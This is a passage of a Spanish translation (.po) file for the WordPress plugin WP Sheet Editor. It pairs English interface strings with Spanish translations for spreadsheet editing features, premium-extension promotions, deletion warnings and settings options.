the trash" msgstr "Mover cientos de entradas a la papelera" #: wp-sheet-editor/dev/inc/teasers/formulas.php:70 msgid "Etc." msgstr "Etc." #: wp-sheet-editor/dev/inc/teasers/formulas.php:72 msgid "" "Imagine being able to do all those changes to hundreds or thousands of posts " "at once in just a few minutes. The formulas feature is available as premium " "extension." msgstr "" "Imagina poder hacer todos esos cambios a cientos o miles de entradas a la " "vez en sólo unos minutos. La función de fórmulas está disponible como " "extensión premium." #: wp-sheet-editor/dev/inc/teasers/formulas.php:75 #: wp-sheet-editor/dev/inc/teasers/frontend.php:77 #: wp-sheet-editor/dev/inc/teasers/post-types.php:132 msgid "Buy extension now!" msgstr "¡Compra la extensión ahora!" #: wp-sheet-editor/dev/inc/teasers/frontend.php:33 msgid "Display spreadsheet editor on the frontend" msgstr "Mostrar el editor de hojas de cálculo en el frontend" #: wp-sheet-editor/dev/inc/teasers/frontend.php:58 msgid "" "We have an extension for displaying this spreadsheet on the frontend. You " "can select the columns to display, and select the spreadsheet tools for the " "frontend users (search, bulk, edit, import, export, etc.). For example:" msgstr "" "Tenemos una extensión para mostrar esta hoja de cálculo en el frontend. " "Puedes seleccionar las columnas a mostrar, y seleccionar las herramientas de " "hoja de cálculo para los usuarios de frontend (búsqueda, edición masiva, " "importación, exportación, etc.). Por ejemplo:" #: wp-sheet-editor/dev/inc/teasers/frontend.php:61 msgid "" "Allow your clients to edit WooCommerce Products using the spreadsheet " "without wp-admin" msgstr "" "Permite a tus clientes editar productos WooCommerce usando la hoja de " "cálculo sin tener que usar el escritorio de wp-admin" #: wp-sheet-editor/dev/inc/teasers/frontend.php:62 msgid "Allow your readers to submit blog posts using the spreadsheet" msgstr "" "Permite que tus lectores entreguen entradas del blog usando la hoja de " "cálculo" #: wp-sheet-editor/dev/inc/teasers/frontend.php:63 msgid "Allow your visitors to publish events" msgstr "Permite a tus visitantes publicar eventos" #: wp-sheet-editor/dev/inc/teasers/frontend.php:64 msgid "Allow your store employees to manage stock and prices" msgstr "" "Permite a los empleados de tu tienda gestionar el inventario y los precios" #: wp-sheet-editor/dev/inc/teasers/frontend.php:65 msgid "Allow your marketplace sellers to import products on the frontend" msgstr "" "Permite a los vendedores de tu mercado importar productos en el frontend" #: wp-sheet-editor/dev/inc/teasers/frontend.php:66 msgid "Allow your marketplace sellers to bulk edit their products" msgstr "" "Permite a los vendedores de tu mercado editar los productos masivamente" #: wp-sheet-editor/dev/inc/teasers/frontend.php:67 msgid "Allow your store buyers to download the catalog" msgstr "Permite a los compradores de tu tienda descargar el catálogo" #: wp-sheet-editor/dev/inc/teasers/frontend.php:68 msgid "Allow your store customers to make advanced catalog searches " msgstr "" "Permite a los clientes de tu tienda realizar búsquedas avanzadas en el " "catálogo " #: wp-sheet-editor/dev/inc/teasers/frontend.php:69 msgid "And more." msgstr "Y más." #: wp-sheet-editor/dev/inc/teasers/frontend.php:72 msgid "Demo video" msgstr "Video de demostración" #: wp-sheet-editor/dev/inc/teasers/frontend.php:74 msgid "" "All the features available in the backend spreadsheet can be used in the " "frontend spreadsheet." msgstr "" "Todas las funciones disponibles en la hoja de cálculo del backend pueden " "utilizarse en el frontend." #: wp-sheet-editor/dev/inc/teasers/post-types.php:86 msgid "Edit WordPress %s" msgstr "Editar %s de WordPress" #: wp-sheet-editor/dev/inc/teasers/post-types.php:88 msgid "The spreadsheet editor can be used to edit your WordPress %s." msgstr "" "El editor de hojas de cálculo puede ser usado para editar tus %s de " "WordPress." #: wp-sheet-editor/dev/inc/teasers/post-types.php:91 msgid "You can edit your Media information like:" msgstr "Puedes editar tu información multimedia como:" #: wp-sheet-editor/dev/inc/teasers/post-types.php:94 msgid "Caption" msgstr "Leyenda" #: wp-sheet-editor/dev/inc/teasers/post-types.php:95 msgid "Alternative text" msgstr "Texto alternativo" #: wp-sheet-editor/dev/inc/teasers/post-types.php:98 msgid "Uploaded by user" msgstr "Subido por este usuario" #: wp-sheet-editor/dev/inc/teasers/post-types.php:100 msgid "Enable comments" msgstr "Habilitar comentarios" #: wp-sheet-editor/dev/inc/teasers/post-types.php:101 msgid "And see previews while editing" msgstr "Y ver vistas previas durante la edición" #: wp-sheet-editor/dev/inc/teasers/post-types.php:106 msgid "You can edit your WooCommerce products information like:" msgstr "Puedes editar la información de tus productos WooCommerce como:" #: wp-sheet-editor/dev/inc/teasers/post-types.php:110 msgid "Full content" msgstr "Contenido" #: wp-sheet-editor/dev/inc/teasers/post-types.php:113 msgid "Sale price dates" msgstr "Fechas del precio rebajado" #: wp-sheet-editor/dev/inc/teasers/post-types.php:114 msgid "Featured image" msgstr "Imagen destacada" #: wp-sheet-editor/dev/inc/teasers/post-types.php:115 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:655 msgid "Gallery" msgstr "Galería" #: wp-sheet-editor/dev/inc/teasers/post-types.php:117 msgid "Is Downloadable" msgstr "Es descargable" #: wp-sheet-editor/dev/inc/teasers/post-types.php:118 msgid "Is Virtual" msgstr "Es Virtual" #: wp-sheet-editor/dev/inc/teasers/post-types.php:124 msgid "" "With our editor you will be able to edit all the information of
                  your %s " "saving you a lot of time." msgstr "" "Con nuestro editor podrás editar toda la información de
                  tus %s, " "ahorrándote mucho tiempo." #: wp-sheet-editor/dev/inc/teasers/post-types.php:128 msgid "This feature is available as premium extension." msgstr "Esta función está disponible como una extensión premium." #: wp-sheet-editor/dev/inc/teasers/terms.php:70 msgid "" "Tip from WP Sheet Editor: Edit thousands of categories at once, make " "advanced searches, view all the info in one page, and more." msgstr "" "Sugerencia de WP Sheet Editor: Editar miles de categorías a la vez, " "hacer búsquedas avanzadas, ver toda la información en una página, y más." #: wp-sheet-editor/dev/inc/teasers/terms.php:70 msgid "Edit in a Spreadsheet" msgstr "Editar en una Hoja de Cálculo" #: wp-sheet-editor/dev/inc/teasers/upgrade-popup.php:51 msgid "" ". Upgrade: Export, import, edit in Excel or Google Sheets; bulk edit thousands of rows at once, edit all the fields from other plugins, and more. Upgrade and Save Days of Work" msgstr "" ". Actualizar: Exportar, importar, editar en Excel o Google Sheets; editar miles de filas a " "la vez, editar todos los campos de otros plugins, y más. Actualizar y Ahorrar Días de " "Trabajo" #: wp-sheet-editor/dev/inc/teasers/upgrade-popup.php:70 msgid "View Extensions" msgstr "Ver Extensiones" #: wp-sheet-editor/dev/inc/teasers/users.php:32 msgid "Users" msgstr "Usuarios" #: wp-sheet-editor/dev/inc/teasers/users.php:51 msgid "" "Tip from WP Sheet Editor: You can view all the users in a table, view " "thousands of full profiles, edit hundreds of users at once without crashing " "your server, view all shipping/billing/buddypress information. Make advanced " "searches, create hundreds of users, and more. Download Plugin" msgstr "" "Consejo de WP Sheet Editor:Puedes ver todos los usuarios en una " "tabla, ver miles de perfiles completos, editar cientos de usuarios a la vez " "sin colapsar tu servidor, ver toda la información de envío/facturación/" "buddypress. Realizar búsquedas avanzadas, crear cientos de usuarios y mucho " "más. Descargar el Plugin " #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:410 msgid "" ". Lite version. Showing all products and all fields as columns, 15 " "columns are editable and the rest are read only.
                  Upgrade: Edit in " "Excel/Google Sheets, export, import, bulk edit thousands of products at once." msgstr "" ". Versión Lite. Mostrando todos los productos y todos los campos como " "columnas, 15 columnas son editables y el resto son sólo de lectura. " "
                  Actualizar: Editar en Excel/Google Sheets, exportar, importar, " "editar todos los campos en miles de productos a la vez." #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:423 msgid "" "Tip from WP Sheet Editor: You can view and edit Product Variations in " "a spreadsheet, bulk edit, make advanced searches, edit hundreds of " "variations at once, copy variations to multiple products, etc. Download Plugin" msgstr "" "Consejo de WP Sheet Editor: Puedes ver y editar las variaciones de " "productos en una hoja de cálculo, realizar búsquedas avanzadas, editar " "cientos de variaciones a la vez, copiar variaciones a varios productos, etc. " "Descargar Plugin" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:521 msgid "Regular Price" msgstr "Precio normal" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:535 msgid "Sale Price" msgstr "Precio rebajado" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:701 msgid "Sales price date from" msgstr "Fecha inicial del precio rebajado" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:713 msgid "Sales price date to" msgstr "Fecha final del precio rebajado" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:740 msgid "is featured?" msgstr "Es destacado?" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:756 msgid "Allow backorders" msgstr "Permitir reservas" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:931 msgid "" "Note: Separate values with the character %s
                  The product must be variable " "and have existing variations for this to work, otherwise the default " "attributes won't be saved." msgstr "" "Nota: Separa los valores con este carácter: %s.
                  El producto debe ser " "variable y tener variaciones existentes para que esto funcione. De lo " "contrario los atributos por defecto no serán guardados." #: wp-sheet-editor/dev/views/editor-page.php:79 msgid "Full screen mode is active" msgstr "El modo de pantalla completa está activado" #: wp-sheet-editor/dev/views/editor-page.php:80 msgid "Exit" msgstr "Salir" #: wp-sheet-editor/dev/views/editor-page.php:84 msgid "Activate full screen" msgstr "Activar el modo de pantalla completa" #: wp-sheet-editor/dev/views/editor-page.php:145 msgid "Current spreadsheet" msgstr "Hoja de cálculo actual" #: wp-sheet-editor/dev/views/editor-page.php:149 msgid "Rows" msgstr "Filas" #: wp-sheet-editor/dev/views/editor-page.php:182 msgid "" ". We recommend you increase the server memory to at least 256mb to prevent " "server errors. Tutorial" msgstr "" ". Recomendamos que incrementes la memoria del servidor al menos hasta 256mb " "para prevenir errores del servidor. Tutorial" #: wp-sheet-editor/dev/views/editor-page.php:186 msgid "Active filters:" msgstr "Filtros activos:" #: wp-sheet-editor/dev/views/editor-page.php:199 #: wp-sheet-editor/dev/views/quick-setup.php:39 msgid "Welcome to WP Sheet Editor" msgstr "Bienvenido a WP Sheet Editor" #: wp-sheet-editor/dev/views/editor-page.php:200 msgid "" "Please make a search to load the rows and start editing (use the \"search\" " "option in the top toolbar)." msgstr "" "Por favor, haz una búsqueda para cargar las filas y comenzar a editar (usa " "la herramienta \"Buscar\" en la barra superior)." #: wp-sheet-editor/dev/views/editor-page.php:202 msgid "" "You need to load the rows manually because you deactivated the automatic " "loading of rows. Change the settings" msgstr "" "Necesitas cargar las filas manualmente porque desactivaste la carga " "automática de filas. Cambiar los ajustes" #: wp-sheet-editor/dev/views/editor-page.php:229 msgid "Go to page" msgstr "Ir a la página" #: wp-sheet-editor/dev/views/editor-page.php:231 msgid "Use an infinite list instead of pagination" msgstr "Usar una lista infinita en lugar de la paginación" #: wp-sheet-editor/dev/views/editor-page.php:231 msgid "" "Activate this option to remove the pagination buttons and load rows " "automatically when you scroll down. You will see all the rows at the same " "time, you can load thousands of rows without problems." msgstr "" "Activa esta opción para eliminar los botones de paginación y cargar las " "filas automáticamente cuando te desplazas hacia abajo. Verás todas las filas " "al mismo tiempo, puedes cargar miles de filas sin problemas." #: wp-sheet-editor/dev/views/editor-page.php:234 msgid "Load More Rows" msgstr "Cargar más filas" #: wp-sheet-editor/dev/views/editor-page.php:235 msgid "Go to the top" msgstr "Ir arriba" #: wp-sheet-editor/dev/views/editor-page.php:237 msgid "Enable pagination" msgstr "Habilitar la paginación" #: wp-sheet-editor/dev/views/editor-page.php:237 msgid "" "By default we use an infinite list of rows and we load more rows every time " "you scroll down. You can activate this option to display pagination links " "and disable the infinite list" msgstr "" "Por defecto, usamos una lista infinita de filas y cargamos más filas cada " "vez que te desplazas hacia abajo. Puedes habilitar esta opción para mostrar " "los enlaces de paginación y deshabilitar la lista infinita." #: wp-sheet-editor/dev/views/editor-page.php:241 msgid "Increase rows per page" msgstr "Aumentar filas por página" #: wp-sheet-editor/dev/views/editor-page.php:241 msgid "" "We use pagination. By default we load 20 rows per page (every time you " "scroll down). You can increase the number to load more rows every time you " "scroll down." msgstr "" "Usamos la paginación. Por defecto cargamos 20 filas por página (cada vez que " "te desplazas hacia abajo). Puedes aumentar el número para cargar más filas " "cada vez que te desplazas hacia abajo." #: wp-sheet-editor/dev/views/editor-page.php:259 msgid "Delete rows" msgstr "Borrar filas" #: wp-sheet-editor/dev/views/editor-page.php:260 msgid "You selected 0 rows to be deleted completely." msgstr "Seleccionaste 0 filas para borrarlas completamente." #: wp-sheet-editor/dev/views/editor-page.php:261 msgid "" "This will delete the rows from your database completely and the only way to " "undo this change is to restore a backup. Please make a backup in case you " "might need to undo this later." msgstr "" "Esto borrará las filas de tu base de datos completamente y la única manera " "de deshacer este cambio es restaurar una copia de seguridad. Por favor, haz " "una copia de seguridad en caso de que puedas necesitar deshacer esto después." #: wp-sheet-editor/dev/views/editor-page.php:262 msgid "Please type the word DELETE and press enter to proceed:" msgstr "" "Por favor, escribe la palabra BORRAR y haz clic en enter para continuar:" #: wp-sheet-editor/dev/views/editor-page.php:275 msgid "OK" msgstr "OK" #: wp-sheet-editor/dev/views/editor-page.php:287 #: wp-sheet-editor/dev/views/editor-page.php:314 msgid "Save changes and edit the previous row" msgstr "Guardar los cambios y editar el post anterior" #: wp-sheet-editor/dev/views/editor-page.php:290 #: wp-sheet-editor/dev/views/editor-page.php:318 msgid "Save changes and edit the next row" msgstr "Guardar los cambios y editar el siguiente post" #: wp-sheet-editor/dev/views/editor-page.php:305 msgid "Editing:" msgstr "Editando:" #: wp-sheet-editor/dev/views/editor-page.php:310 msgid "You can resize the editor" msgstr "Puedes cambiar el tamaño del editor" #: wp-sheet-editor/dev/views/editor-page.php:315 msgid "Just save changes" msgstr "Sólo guarda los cambios" #: wp-sheet-editor/dev/views/editor-page.php:317 msgid "Cancel the changes and close popup" msgstr "Cancelar los cambios y cerrar la ventana emergente" #: wp-sheet-editor/dev/views/editor-page.php:336 msgid "" "The changes about to be made are not reversible. You should backup your " "database before proceding." msgstr "" "Los cambios que estás a punto de realizar son irreversibles. Debes hacer una " "copia de seguridad de tu base de datos antes de proceder." #: wp-sheet-editor/dev/views/editor-page.php:338 msgid "The changes about to be made are not reversible" msgstr "Los cambios que estás a punto de realizar no son reversibles" #: wp-sheet-editor/dev/views/editor-page.php:340 msgid "I understand, continue" msgstr "Entiendo, continuar" #: wp-sheet-editor/dev/views/editor-page.php:345 msgid "" "We are saving now. Don't close this window until the process has finished." msgstr "" "Estamos guardando ahora. No cierres esta ventana hasta que el proceso haya " "terminado." #: wp-sheet-editor/dev/views/editor-page.php:347 msgid "" "Tip: The saving is too slow? Save " "more posts per batch
                  Are you getting errors when saving? Save less posts per batch" msgstr "" "Consejo: ¿El guardado es demasiado lento? Guardar más filas por lote
                  ¿Obtienes " "errores al guardar? Guardar menos filas por lote" #: wp-sheet-editor/dev/views/editor-page.php:374 msgid "" "The loading is taking too long?
                  1. You can wait until the process " "finished.
                  2. You can " msgstr "" "La carga está tomando demasiado tiempo?
                  1. Puedes esperar hasta que el " "proceso haya terminado.
                  2. Puedes " #: wp-sheet-editor/dev/views/extensions-modal.php:5 #: wp-sheet-editor/dev/views/usage-stats-widget.php:96 msgid "Extend the spreadsheet" msgstr "Ampliar la hoja de cálculo" #: wp-sheet-editor/dev/views/extensions-page.php:19 msgid "What component do you need?" msgstr "¿Qué componente necesitas?" #: wp-sheet-editor/dev/views/extensions.php:31 msgid "Promotion. %d%% OFF only today. " msgstr "Promoción. Ahorra %d%% solo hoy. " #: wp-sheet-editor/dev/views/extensions.php:33 msgid "Get the %d extensions below for just $ %s $ %s" msgstr "" "Obtén las siguientes %d extensiones por sólo $ %s $ %s" #: wp-sheet-editor/dev/views/extensions.php:37 msgid "
                  Use the coupon: %s" msgstr "
                  Usar el cupón: %s" #: wp-sheet-editor/dev/views/extensions.php:41 msgid "" "Money back guarantee. Buy the plugin without worries. We'll give you " "a refund if the plugin doesn't work." msgstr "" "Garantía de devolución de dinero. Compra el plugin sin preocupaciones . Te haremos un reembolso si el plugin no funciona." #: wp-sheet-editor/dev/views/extensions.php:49 msgid "Other extensions" msgstr "Otras extensiones" #: wp-sheet-editor/dev/views/free-extensions-for-welcome.php:15 msgid "Spreadsheet for %s %s" msgstr "Hoja de cálculo para %s %s" #: wp-sheet-editor/dev/views/free-extensions-for-welcome.php:19 msgid "

                  Free extensions

                  " msgstr "

                  Extensiones gratuitas

                  " #: wp-sheet-editor/dev/views/post-types-form.php:17 msgid "Available spreadsheets" msgstr "Hojas de cálculo disponibles" #: wp-sheet-editor/dev/views/quick-setup.php:64 msgid "Save and continue" msgstr "Guardar y continuar" #: wp-sheet-editor/dev/views/quick-setup.php:70 msgid "Available components" msgstr "Componentes disponibles" #: wp-sheet-editor/dev/views/quick-setup.php:71 msgid "" "The spreadsheet editor is very powerful and it has a lot of features. In " "this step you can enable the features that you need." msgstr "" "El editor de hojas de cálculo es muy potente y tiene muchas características. " "En este paso puedes habilitar las funciones que necesites." #: wp-sheet-editor/dev/views/quick-setup.php:77 msgid "Continue" msgstr "Continuar" #: wp-sheet-editor/dev/views/quick-setup.php:81 msgid "The Spreadsheet is ready." msgstr "La Hoja de cálculo está lista." #: wp-sheet-editor/dev/views/quick-setup.php:94 #: wp-sheet-editor/dev/views/usage-stats-widget.php:115 msgid "Edit " msgstr "Editar " #: wp-sheet-editor/dev/views/quick-setup.php:110 msgid "" "Tip. We can help you with the spreadsheet setup. Get instant help in the " "live chat during business hours" msgstr "" "Consejo: Podemos ayudarte con la configuración de la hoja de cálculo. Obtén " "ayuda instantánea en el chat en vivo en horas de oficina." #: wp-sheet-editor/dev/views/settings-form.php:2 msgid "Advanced Settings" msgstr "Ajustes Avanzados" #: wp-sheet-editor/dev/views/settings-form.php:14 #: wp-sheet-editor/dev/views/settings-form.php:87 msgid "Reset settings" msgstr "Restablecer los ajustes" #: wp-sheet-editor/dev/views/settings-form.php:15 msgid "Export and import settings" msgstr "Exportar e importar ajustes" #: wp-sheet-editor/dev/views/settings-form.php:86 msgid "" "We will display all the columns that were deleted or disabled, renamed " "columns will show the original titles, we will rescan the database to find " "columns again, and the speed/advanced settings will be reset to the " "defaults. This only affects settings of our plugin and it does not affect " "the data edited with the sheet." msgstr "" "Mostraremos todas las columnas que fueron borradas o deshabilitadas, las " "columnas renombradas mostrarán los títulos originales, volveremos a escanear " "la base de datos para encontrar las columnas de nuevo, y los ajustes " "avanzados y de velocidad se restablecerá a los valores predeterminados. Esto " "sólo afecta a la configuración de nuestro plugin y no afecta a los datos " "editados con la hoja de cálculo." #: wp-sheet-editor/dev/views/settings-form.php:90 msgid "These options will be included in the export and import:" msgstr "Estas opciones serán incluidas en la exportación e importación:" #: wp-sheet-editor/dev/views/settings-form.php:92 msgid "Column sizes" msgstr "Tamaños de las columnas" #: wp-sheet-editor/dev/views/settings-form.php:93 msgid "Column titles" msgstr "Títulos de las columnas" #: wp-sheet-editor/dev/views/settings-form.php:94 msgid "Column settings defined in the columns manager" msgstr "Configuraciones definidas en el gestor de columnas" #: wp-sheet-editor/dev/views/settings-form.php:95 msgid "Columns created manually" msgstr "Columnas creadas manualmente" #: wp-sheet-editor/dev/views/settings-form.php:97 msgid "Saved exports" msgstr "Exportaciones guardadas" #: wp-sheet-editor/dev/views/settings-form.php:98 msgid "Saved searches" msgstr "Búsquedas guardadas" #: wp-sheet-editor/dev/views/settings-form.php:99 msgid "List of deleted columns" msgstr "Listado de columnas eliminadas" #: wp-sheet-editor/dev/views/settings-form.php:100 msgid "Favorite search fields" msgstr "Campos de búsqueda marcados como favoritos" #: wp-sheet-editor/dev/views/settings-form.php:101 msgid "Column groups" msgstr "Grupos de columnas" #: wp-sheet-editor/dev/views/settings-form.php:102 msgid "Post types created with WP Sheet Editor" msgstr "Tipos de posts creados con WP Sheet Editor" #: wp-sheet-editor/dev/views/settings-form.php:105 msgid "Click here to export the settings" msgstr "Haz clic aquí para exportar los ajustes" #: wp-sheet-editor/dev/views/settings-form.php:107 msgid "Import settings" msgstr "Importar ajustes" #: wp-sheet-editor/dev/views/settings-form.php:108 msgid "Paste the settings here (the contents of the exported file). Notes:" msgstr "Pega los ajustes aquí (el contenido del archivo exportado). Notas:" #: wp-sheet-editor/dev/views/settings-form.php:110 msgid "The import will overwrite existing settings" msgstr "La importación sobrescribirá los ajustes existentes." #: wp-sheet-editor/dev/views/settings-form.php:111 msgid "Please make a database backup before the import to be safe" msgstr "" "Por favor, haz una copia de seguridad de tu base de datos antes de importar " "para estar más seguro." #: wp-sheet-editor/dev/views/settings-form.php:112 msgid "" "Some columns depend on other plugins. So the source site and this site must " "use the same plugins to have the same columns" msgstr "" "Algunas columnas dependen de otros plugins. El sitio fuente y el sitio de " "destino deben usar los mismos plugins para que tengas las mismas columnas" #: wp-sheet-editor/dev/views/single-extension.php:16 msgid "Active." msgstr "Activo." #: wp-sheet-editor/dev/views/usage-stats-widget.php:54 msgid "Thank you for using our spreadsheet editor" msgstr "Gracias por usar nuestro editor de hojas de cálculo" #: wp-sheet-editor/dev/views/usage-stats-widget.php:62 msgid "Usage stats" msgstr "Estadísticas de uso" #: wp-sheet-editor/dev/views/usage-stats-widget.php:68 msgid "Modified rows" msgstr "Filas modificadas" #: wp-sheet-editor/dev/views/usage-stats-widget.php:72 msgid "Time saved
                  (estimated)" msgstr "Tiempo ahorrado
                  (estimado)" #: wp-sheet-editor/dev/views/usage-stats-widget.php:76 msgid "Clicks avoided
                  (estimated)" msgstr "Clics ahorrados
                  (estimado)" #: wp-sheet-editor/dev/views/usage-stats-widget.php:97 msgid "" "Edit WooCommerce products, WooCommerce Variations and Attributes.
                  Edit " "hundreds of posts at once using formulas, copy information between posts,
                  Edit custom post types and custom fields, Edit User Profiles, and More" msgstr "" "Editar productos WooCommerce, Variaciones WooCommerce y Atributos.
                  Editar cientos de filas a la vez usando fórmulas, copiar información entre " "filas,
                  Editar post types personalizados y campos personalizados, Editar " "Perfiles de Usuario, y Más" #: wp-sheet-editor/dev/views/usage-stats-widget.php:98 msgid "View extensions" msgstr "Ver extensiones" #: wp-sheet-editor/dev/views/usage-stats-widget.php:103 msgid "Open the Spreadsheet Editor" msgstr "Abrir el Editor de Hojas de Cálculo" #: wp-sheet-editor/dev/views/whats-new.php:15 msgid "What's new on WP Sheet Editor" msgstr "Novedades en WP Sheet Editor" #: wp-sheet-editor/dev/views/whats-new.php:17 msgid "Thank you for updating to the new version of the plugin." msgstr "Gracias por actualizar a la nueva versión del plugin." #: wp-sheet-editor/dev/wp-sheet-editor.php:185 msgid "Edit User Profiles in Spreadsheet - Basic" msgstr "Editar perfiles de usuario en una hoja de cálculo - Básico" #: wp-sheet-editor/dev/wp-sheet-editor.php:188 msgid "" "

                  Edit WordPress users in spreadsheet, edit only basic profiles and make " "basic searches.

                  " msgstr "" "

                  Editar usuarios de WordPress en una hoja de cálculo, editar sólo " "perfiles básicos y realizar búsquedas básicas.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:196 msgid "Edit User Profiles in Spreadsheet - FULL" msgstr "Editar Perfiles de Usuario en la Hoja de Cálculo - COMPLETO" #: wp-sheet-editor/dev/wp-sheet-editor.php:199 msgid "" "

                  Edit WordPress users in spreadsheet. Edit FULL user profiles, including " "custom fields. Add new columns to the spreadsheet, Good for ecommerce " "stores, membership sites, events directories, business directories, user " "directories

                  " msgstr "" "

                  Editar usuarios de WordPress en una hoja de cálculo. Editar perfiles de " "usuario COMPLETOS, incluyendo campos personalizados. Agregar nuevas columnas " "a la hoja de cálculo. Es excelente para tiendas ecommerce, sitios de " "membresía, directorios de eventos, directorios de negocios, directorios de " "usuarios.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:206 msgid "WooCommerce Customers Spreadsheet" msgstr "Hoja de Cálculo de Clientes de WooCommerce" #: wp-sheet-editor/dev/wp-sheet-editor.php:209 msgid "" "

                  View all your Customers in a Spreadsheet. View full profile, Edit " "Profiles Quickly, View Billing and Shipping information, Make advanced " "customer searches, Export Customers to Excel or Google Sheets, Import " "Customers from External Applications

                  " msgstr "" "

                  Ver el perfil completo de todos tus clientes de WooCommerce en una hoja " "de cálculo. Editar perfiles rápidamente. Ver y editar la información de " "facturación y envío. Realizar búsquedas avanzadas de perfiles de clientes. " "Exportar clientes a Excel o Google Sheets. Importar clientes desde " "aplicaciones externas.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:216 msgid "Media Library Spreadsheet" msgstr "Hoja de Cálculo de la Biblioteca de Medios de WordPress" #: wp-sheet-editor/dev/wp-sheet-editor.php:219 msgid "" "

                  View the image, videos, and all the files from the WP Media library in a " "spreadsheet. Edit all the file fields, including alt text, image captions, " "file descriptions, Advanced Search by any field , Auto generate alt text, " "captions, etc. using the parent post title or categorías, Update thousands " "of files at once, and more.

                  " msgstr "" "

                  Ver los archivos de imagen, vídeo y todos los archivos de la Biblioteca " "de medios de WordPress en una hoja de cálculo. Editar todos los campos de " "los archivos, incluyendo el texto alternativo, la leyenda, las descripciones " "de los archivos. Hacer búsquedas avanzadas por cualquier campo. Generar de " "manera automática los textos alternativos, las leyendas, etc. usando el " "título o las categorías de las entradas principales. Actualizar miles de " "archivos a la vez. Y mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:221 #: wp-sheet-editor/dev/wp-sheet-editor.php:235 #: wp-sheet-editor/dev/wp-sheet-editor.php:267 #: wp-sheet-editor/dev/wp-sheet-editor.php:281 #: wp-sheet-editor/dev/wp-sheet-editor.php:295 #: wp-sheet-editor/dev/wp-sheet-editor.php:309 #: wp-sheet-editor/dev/wp-sheet-editor.php:324 #: wp-sheet-editor/dev/wp-sheet-editor.php:338 #: wp-sheet-editor/dev/wp-sheet-editor.php:352 #: wp-sheet-editor/dev/wp-sheet-editor.php:366 msgid "Buy" msgstr "Comprar" #: wp-sheet-editor/dev/wp-sheet-editor.php:230 msgid "Edit categories, tags, attributes in a spreadsheet" msgstr "Editar categorías, etiquetas y atributos en una hoja de cálculo" #: wp-sheet-editor/dev/wp-sheet-editor.php:233 msgid "" "

                  One spreadsheet for categories, tags, product attributes, event " "categories, portfolio categories, real state tags, etc. View and edit all " "the items in one place, copy paste, upload category images quickly, add " "descriptions, edit SEO, etc.

                  " msgstr "" "

                  Una hoja de cálculo para categorías, etiquetas, atributos de productos, " "categorías de eventos, categorías de portafolios, etiquetas inmobiliarias, " "etc. Ver y editar todos los ítems en un solo lugar. Copiar y pegar. Subir " "imágenes de categorías rápidamente. Agregar descripciones. Edita el SEO. Y " "mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:262 msgid "WooCommerce Coupons Spreadsheet" msgstr "Hoja de Cálculo de Cupones de WooCommerce" #: wp-sheet-editor/dev/wp-sheet-editor.php:265 msgid "" "

                  View WooCommerce Coupons in a spreadsheet. Edit all coupon fields, " "Advanced Search by any field , Auto generate hundreds of coupons, Update " "hundreds of coupons at once, and more.

                  " msgstr "" "

                  Ver los cupones de WooCommerce en una hoja de cálculo. Editar todos los " "campos de cupones. Búsqueda avanzada por cualquier campo. Generar " "automáticamente cientos de cupones. Actualizar cientos de cupones a la vez. " "Y mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:276 msgid "WooCommerce Orders Spreadsheet" msgstr "Hoja de Cálculo de Pedidos de WooCommerce" #: wp-sheet-editor/dev/wp-sheet-editor.php:279 msgid "" "

                  View and dispatch all the Orders quickly. Advanced Search by any field " "(shipping method, taxes, VAT, payment methods, customers, products, etc), " "Export orders and customers information including guest customers; edit " "thousands of orders quickly, and more.

                  " msgstr "" "

                  Ver y despachar todos los pedidos rápidamente. Búsqueda avanzada por " "cualquier campo (método de envío, impuestos, IVA, métodos de pago, clientes, " "productos, etc.). Exportar pedidos e información de clientes incluyendo " "clientes invitados. Editar miles de pedidos rápidamente. Y mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:290 msgid "Comments, Reviews, and Order Notes Spreadsheet" msgstr "Hoja de Cálculo de Comentarios, Reseñas y Notas de Pedido" #: wp-sheet-editor/dev/wp-sheet-editor.php:293 msgid "" "

                  It is the best way to manage your comments, WooCommerce customer " "reviews, event reviews, testimonials, and order notes in a spreadsheet. You " "can make advanced searches by any field (keyword, order note, status, find " "comments by post type, and all the fields). You can bulk edit them, delete " "all at once, export them to excel or external systems, import comments and " "reviews from other systems, and more.

                  " msgstr "" "

                  Es la mejor manera de gestionar tus comentarios, las valoraciones de los " "clientes de WooCommerce, los comentarios de los eventos, los testimonios y " "las notas de pedido en una hoja de cálculo. Puedes hacer búsquedas avanzadas " "por cualquier campo (palabra clave, nota de pedido, estado, encontrar " "comentarios por post type, y todos los campos). Puedes editarlos " "masivamente, borrarlos todos a la vez, exportarlos a Excel o a sistemas " "externos, importar comentarios y reseñas de otros sistemas, y más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:304 msgid "Custom Database Tables Spreadsheet" msgstr "Hoja de Cálculo de Tablas de Bases de Datos Personalizadas" #: wp-sheet-editor/dev/wp-sheet-editor.php:307 msgid "" "

                  One Spreadsheet for Every Custom Database Table added by other plugins. " "Live edit in the cells, Bulk Edit, Make advanced searches by any field, " "export and import, bulk delete, move information between sites, edit " "thousands of items, and more.

                  " msgstr "" "

                  Una hoja de cálculo para cada tabla personalizada encontrada en tu base " "de datos, incluyendo tablas agregadas por otros plugins. Edita en vivo. Haz " "ediciones masivas en miles de filas. Haz búsquedas avanzadas. Exporta. " "Importar. Eliminar filas en lotes. Y mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:319 msgid "Easy Digital Downloads Spreadsheet" msgstr "Hoja de Cálculo de Easy Digital Downloads" #: wp-sheet-editor/dev/wp-sheet-editor.php:322 msgid "" "

                  View all the EDD products in a spreadsheet, create downloads and files " "in bulk, edit hundreds of products at once using formulas, Advanced searches " "using multiple fields, etc.

                  " msgstr "" "

